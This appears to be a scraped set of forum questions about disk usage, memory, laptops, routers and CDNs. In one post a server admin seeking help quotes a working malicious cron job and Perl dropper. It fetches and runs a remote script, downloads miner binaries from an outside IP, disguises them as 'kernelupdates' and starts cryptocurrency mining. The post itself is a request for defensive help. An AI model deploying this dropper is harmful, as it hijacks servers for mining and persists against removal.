  • Conflicting answers from du with different units

    - by dpitch40
    My question is quite simple. I get this output when checking the total amount of space I'm using on my Walkman. david@Milton:/media$ du -b --max-depth=0 WALKMAN/ 14823290693 WALKMAN/ david@Milton:/media$ du -k --max-depth=0 WALKMAN/ 14523776 WALKMAN/ Last I checked, 14,523,776 KB * 1024 = 14,872,646,624 B, not 14,823,290,693. Dividing the two, their "K" unit seems to be equal to about 1020.62 rather than 1024 as advertised. This is causing some errors in the program I wrote to sync my Walkman, so it fills up faster than it claims to. Can anyone explain this discrepency?

  • ./kernelupdates 100% cpu usage

    - by Vaibhav Panmand
    I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

  • Any plugins for Skype that support "Soundboard" usage?

    - by Axxmasterr
    I would like to find a program or plugin for Skype that allows you to pipe sound samples in to the outgoing audio stream when you are on a call. Ideally it would have some sort of soundboard functionality so that I could have a group of audio samples at the touch of a button. I'd also prefer something that supports mp3 but wav support will also do.

  • Lag spikes at full CPU usage, maybe video card

    - by Roberts
    I am posting this thread in hurry so few things may be missed (I will update tomorrow). My PC specs: Motherboard Name - Gigabyte GA-945PL-S3 CPU Type - DualCore Intel Core 2 Duo E4300, 1800 MHz (9 x 200) OS - Microsoft Windows 7 Ultimate OS Kernel Type - 32-bit OS Version - 6.1.7601 I bougth a new video card one month ago. GeForce 210. I didn't have any problems. I wanted to overclock it, in other words: "Play with it". So I installed Gigabyte EasyBoost from CD and overclocked the GPU 590 + 110 mhz, memory to max to 960mhz from 800mhz. Benchmarks showed a little bit bigger score. Then I overclocked shader clock from 1405 to [..] (don't remeber really). So I was playing Modern Warfare 2 when off sudden computer froze when I wanted to select team, I was afk before that. I had to reset CMOS. After that I had problems with Skype: unread messages and no sound. Then I figured it out that when ever I open EasyBoost - Skype starts to glitch again. Now I use EVGA Precission X. Now after a month, I cleaned computer and closed the case, it was open all the time. I started to overclock GPU clock only (just a bit) because there was no problems that would stop me. So sometimes on heavy CPU load graphics starts to lag. Dragging a window is painful to watch too. Sometimes the screen freezes for 5 to 10 seconds (I can see that hard disk activity is maximal). You may say that CPU fault it is, isn't it? But sometimes lag spikes starts randomly when CPU load is at maximum. All 3 benchmark softwares (PerformanceTest, NovaBench and MSI Kombustor) shows that performance of my video card has dropped about 25%. BUT! CPU score is lower too. I ignored these problems but when I refreshed Windows Experience Index I was shocked. Month before (in latvian language but not so hard to understand): Now (upgraded RAM): This happened when I tried to capture Minecraft with Fraps on underclocked GPU to 580mhz (def: 590mhz): All drivers are up to date. Average CPU temperature from 55°C to 75°C (at 70°C sometimes starts these lag spikes). Video card's tempratures are from 45°C to 60°C (very hard to reach 60°C). So my hope is that the video card is fine, cause this card is very new and I want to upgrade CPU anyways. Aplogies for my mistakes in vocabulary (I am trying to type this as fast I can).

  • Difference and correct usage for /tmp and /var/tmp

    - by David
    I haven't put much thought into this until now, but it seems odd that there is a /var/tmp and /tmp directories for most of the linux distro's I routinely use ( Ubuntu, Centos, Redhat ). Is there any semantic difference between the two, like when whoever designed the first file system layout, he or she thought "Not all tmp file's are created equal!" The only difference I've found for centos, is that /tmp routinely scrubs out files older then 240 hours while /var/tmp holds onto stale files for 720 hours.

  • Time tracking tool for monitoring application usage

    - by wizlog
    I want to know how I'm really using my computer, and where the time goes (eg. I have an English paper due, and I intend on getting it done, its 2:30 PM... no wait, its 8:30 PM...). What software can tell me- a. what programs I use, and when b. within programs like Google Chrome or Firefox, which tabs do I spend the most time on. (So I know if I'm spending the time playing a game, or watching a movie on Hulu...)

  • 32bit Application Memory Usage on 64bit Windows 7

    - by Brian
    I have an early 2012 Macbook Pro with and Intel I7 processor and 16 gigs RAM running Windows 7 Professional 64bit via Bootcamp. I work in Geographical Information Systems as a programmer so most of the applications I am running are 32bit Applications, but tend to use a lot of resources (i.e. ArcGIS, SQL Server Express, Visual Studio, etc.). I have been noticing that when I have multiple instances of either the same 32bit application or different 32bit applications and they are all working on hefty processing tasks, I am still only topping out at about 30% memory use. I understand 32bit applications are limited to less than 4gb RAM, but I assumed that one instance could use its own 4gb while another instance could use another 4gb to take full advantage of all the memory I have installed. Can anyone explain how this works and how I can get my applications to take advantage of all my memory via running multiple instances?

  • Usage of two Routers on LAN

    - by brusilva
    I've currently own a Linksys E4200 and a Thomson 546v6. Because I have an IPTV service I must set the Thomson as the main router connected to the phone line so that I can distribute the video signal for 2 specific ports and the other two for LAN Access. The problem is that the Thomson doesn't like port forwards, it usually doesnt work and since I have a good router (linksys) currently only working as Access Point I would like to use it as a router itself. I don't want to do a NAT beyond NAT so my question is should I connect the E4200 and to thomson and set the E4200 as a DMZ machine and then control all trafic on the E4200 itself or is there any other option that could suit my needs better?

  • Does scheduling recycling app pool in IIS7 help the server conserve memory better?

    - by user29266
    Hello, I have a VPS (IIS7 with Win 2008) It's got: 40 websites and a SQL Server 2008 powering them with only 2 Gigs of RAM. None of the sites are mission critical, they are all just demos. I often have ram issues on the server because each site has does caching and generally uses a lot of memory. Would it make sense to set the application pools to recycle every 3 hours? I'm sure this would free up any memory leaks or processes left "hanging" Are there any other tips on this? Thank you very much!, Aron

  • Configuring ZenOSS to monitor CPU load

    - by Tom
    I'm trying test out monitoring tools for a network at work with a coworker but neither of us have ever used an sort of monitoring tools before. Currently we are experimenting with ZenOSS and having some difficulties. We want to populate our CPU load graphs because that is one of the primary feature we are looking for in our monitoring tools but we have been unable to populate the graphs with data. So far we have installed the wmipreformance, sqldatasource, wmidatasource, snmpperformance(simple) zenpacks and the machine we are trying to monitor is running Windows XP. We have tried to model the device and everything seems to run and we've tride to add data points to graphs but the only options we recieve for graphs are CPU and Memory. We are able to monitor services, ZenOSS recognizes the make and model of the processor, RAM, and Harddrive and is even giving us metrics on available storage but again, we are looking for performance metrics such as CPU load and Memory utilization. I realize I probably didn't provide a lot of information but that is because we don't have a very good idea of what we are doing and can't find instruction either on the ZenOSS homepage or forums to monitor CPU load. If someone could give us step by step instruction on how to set up CPU load monitoring that would probably be more beneficial to us than a diagnostic of our current setup, but regardless, if I left any important information out and you need it to answer the question, please let me know. Thank you.

  • IIS 6 Ram Allocation on Windows Server 2003

    - by chris
    0 down vote favorite share [g+] share [fb] share [tw] I have my IIS 6 running my website. It is on a Windows Server 2003 which has 4GB of RAM. I run SQL intensive code after the user submits a form (math statistics stuff). This process is not threaded (should it be, especially if 2 or more users run the same thing?). But my process seems to consume only a couple of GBs of memory and the server crawls. How do I get my IIS process to use nearly all the memory? I see on other sites that its 2GB or 3GB allocated using boot.ini. But is there another way for the process to use memory? If I make it multithreaded, will there be a process for each thread?

  • Munin fills server memory

    - by danilo
    In the last weeks, it happened several times to me that my vserver (Debian Lenny) was out of RAM (500M) and therefore wasn't able to run apache anymore. When looking at the processes with top, I saw that there were many open munin-limits and munin-cron processes that consumed most of the memory. My guess would be that sometimes Apache temporarily needs more memory, which prevents munin-cron from running. And if munin-cron isn't able to stop itself, it would fill the memory until nothing is left. I don't know whether this guess is true, but could maybe someone know what the problem is and how to prevent it? If necessary I'll remove munin, but I'd prefer to keep it running.

  • Celery - minimize memory consuption

    - by Andrew
    We have ~300 celeryd processes running under Ubuntu 10.4 64-bit , in idle every process takes ~19mb RES, ~174mb VIRT, thus - it's around 6GB of RAM in idle for all processes. In active state - process takes up to 100mb of RES and ~300mb VIRT Every process uses minidom(xml files are < 500kb, simple structure) and urllib. Quetions is - how can we decrease RAM consuption - at least for idle workers, probably some celery or python options may help? How to determine which part takes most of memory?

  • Internet addicted, need software to control my usage and block access

    - by user69991
    I found I have problem to be a little addictive with surfing on internet. I am trying to find a free ware, (or software), that can help me for exemple to be just 2 hours per day on internet. Like it is counting the minutes and than stop working. not just 2 hours in one time, but in whole day.... maybe that it has different modes (2hours together, in whole day, 2hours + little reserve time) but I need something that really take me away access from internet :) Just counting time, is not enough for me :) Hope we will find something because, I just can't avoid not to loose 4 hours on internet. I have windows 7

  • Currently well suited SATA2-SSDs for Laptop usage

    - by danilo
    I am looking for a solid state drive for my laptop. My dillemma: I have been waiting for the new Intel SSDs since Q3/2010, as I've heard they should be better and cheaper, due to lower memory manufacturing costs. Now it looks like the new Intel drives are very fast, but still expensive. I would still buy one of them if I could benefit from the full speed. My hardware only has a SATA-2 port though. Thus, my question: Is it worthwhile to buy one of those new Intel SSDs made for SATA-3 if I won't be able to use the full speed? Are there any other promising new SSDs that will be released soon? (Inside the next 1-2 months) If I wouldn't make a good deal buying the newer, faster drives, what drives can you recommend? I don't consider this question subjective, as I am mainly looking for answers concerning the SATA-2/SATA-3 conflict.

  • Disk usage treemap software for headless Linux

    - by CyberShadow
    There are some programs which can display used disk space using a treemap, such as WinDirStat for Windows and KDirStat for KDE/Linux: I'm looking for something similar, but for a headless Linux box. (E.g. run console data collection program on the server, then load the file in a graphical program in a GUI environment.) Alternatively, what are other good ways to get a structured used disk space representation, with just SSH access?

  • Best usage for a laptop being used as a desktop without removable batteries

    - by Senseful
    After reading the information on http://batteryuniversity.com, I realize that one of the best ways to permanently damage a lithium ion battery is to use the battery at a high temperature while it's fully charged. This is exactly what happens when you use the computer as if it were a desktop computer, since leaving it plugged in will keep the battery at 100% and using the computer will heat up the battery. This is why it's recommend to remove the battery from your laptop if you are using it is this scenario. My question is what would you do if the laptop doesn't have removable batteries (e.g. a MacBook Pro)? Should I use some kind of charge cycle such as: charge to 80%, unplug the power chord, use the laptop until it reaches 20%, then repeat the cycle by charging to 80% again? If so, which values should I use instead of 80% and 20%? (I think charging to 80% is better than 100% because of the damage that a hot battery at 100% can do, but I just made the figure 80% up, and I'm sure there's a better number to strive for which is backed by science.) I've read many of the articles on batteryuniversity.com, but couldn't find anything pertaining to this. Update: What about doing something like charge (or discharge) it to 50%, then plug it in and turn on settings which use the battery as much as possible (e.g. brightness all the way up, wi-fi on, etc.), in order to try to maintain the battery at 50% (i.e. the rate it is charging is the same as it is discharging). This will probably heat up the battery, but would make it so you don't need to constantly plug and unplug the laptop. The one bad thing is that you are taking up more charge cycles which would decrease the battery life, thus I'm not sure this is a good idea.

  • Memory Usage of SQL Server

    - by Ashish
    SQL Server instance on my server is using almost full memory available in my Physical Server. Say if i am having 8GB of RAM than SQL Server is using 7.8 GB of RAM from system. I also have read articles and also read many similar questions regarding same on this forum and i understand that memory is reserved and it is using memory. But i have 2 same servers and 2 SQL Servers, why this is happening on a single SQL Instance not on other. Also when i run DBCC MemoryStatus than it is showing up... VM Reserved 8282008 VM Committed 537936 so from this we know that SQL reserved whole 8GB memory, but why this VM Committed keeps increasing. What i understand is VM Committed is: VM Committed: This value shows the overall amount of VAS that SQL Server has committed. VAS that is committed has been associated with physical memory. So this is the memory SQL Server has committed (from this i understand that physical memory actually SQL Server is using at instance). So like to know the reason behind this ever increasing VM Committed memory on my server and not on another. Thanks in Advance.

  • What is good usage scenario for Rackspace Cloud Files CDN (powered by AKAMAI) [closed]

By investigating it thru http://www.just-ping.com/ it seems, that from many places the ping is very high, and during quick investigation I found that they use GeoIP to resolve addresses based on WHOIS, which is not accurate and because of that from many places the ping is above 300ms (for example, if ISP is in balgladore and request is routed to bangladore even if it's 300ms, for period of 1 month), while by just using Amazon Web Services and Route 53 Anycast DNS servers and only 4 EC2 instances it seems that for example India is always below 100ms, while using Akamai it goes above 300ms in some cases, and this is because Route 53 is using BGP. By quickly checking the Akamai, it seems that they are not getting feedback from the traffic - the high ping stays constant even if I keep downloading large files and videos, which is opposite to what they say on their website. They state, that they optimize the performance by taking feedback from the requests, while it seems they just use GeoIP with per City resolution (which are mostly big cities). Because of this, AWS with Route 53 / Anycast DNS seems to be much more reliable, as well EdgeCast which is using BGP, but I dont know how much does it cost to deploy static website. Actually, I dont know if EdgeCast is not a lie, because from isolated places there are many errors - so their performance is at the cost of quality of delivery, because of BGP switching the routes during transfer of large files. So I was wondering, what is really Akamai good for, because they dont seem to pose any strength in any field in what I do understand now, except they offer some software based WAF on their website, but what I really care about is the core distribiution, so the question is? Is really Akamai good for Videos? For static websites? ??? I found so far AWS most usable with most consistent ping and stable transfers.
